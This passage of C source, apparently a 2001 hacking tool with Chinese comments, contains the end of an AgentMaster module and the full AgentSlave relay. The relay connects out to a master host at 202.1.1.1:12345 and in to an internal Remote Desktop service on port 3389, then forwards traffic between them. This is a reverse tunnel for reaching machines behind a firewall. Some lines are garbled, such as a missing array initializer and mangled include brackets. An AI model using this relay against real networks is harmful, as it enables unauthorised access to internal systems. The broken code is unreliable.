hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of socket while
}//end of try
__finally
{
//clean all
if(s3389!=INVALID_SOCKET) closesocket(s3389);
if(s1981!=INVALID_SOCKET) closesocket(s1981);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/***********************************************************************************
Module:AgentSlave.c
Date:2001/4/17
Copyright(c)eyas
HomePage:www.patching.net
说明:这个程序负责连接最终目标,连接主控端,然后转发数据
这里连接到AgenrMaster的socket相当与sClient==〉sock[0],
连接到最终目标的socoket是sTarget==〉sock[1]
***********************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetIP "192.168.1.3"
#define TargetPort (int)3389
#define AgentMasterIP "202.1.1.1"
#define AgentMasterPort (int)12345
int main()
{
WSADATA wsd;
SOCKET sock[2]=;
struct sockaddr_in Master,Target;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
//循环
while(1)
{
//create client socket
sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[0]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//create target socket
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//fill struct
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
Master.sin_family=AF_INET;
Master.sin_addr.s_addr=inet_addr(AgentMasterIP);
Master.sin_port=htons(AgentMasterPort);
//connect to AgentMaster
if(connect(sock[0],(struct sockaddr
*)&Master,sizeof(Master))==SOCKET_ERROR)
{
//连接失败后,等待一会儿再连
printf("\nconnect() to master failed:%d",GetLastError());
closesocket(sock[0]);
closesocket(sock[1]);
Sleep(5000);
continue;
}
printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);
//connect to target
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("\nconnect() to target failed:%d",GetLastError());
__leave;
}
printf("\nconnect to %s %d success!",TargetIP,TargetPort);
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of while
}//end of try
__finally
{
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;


}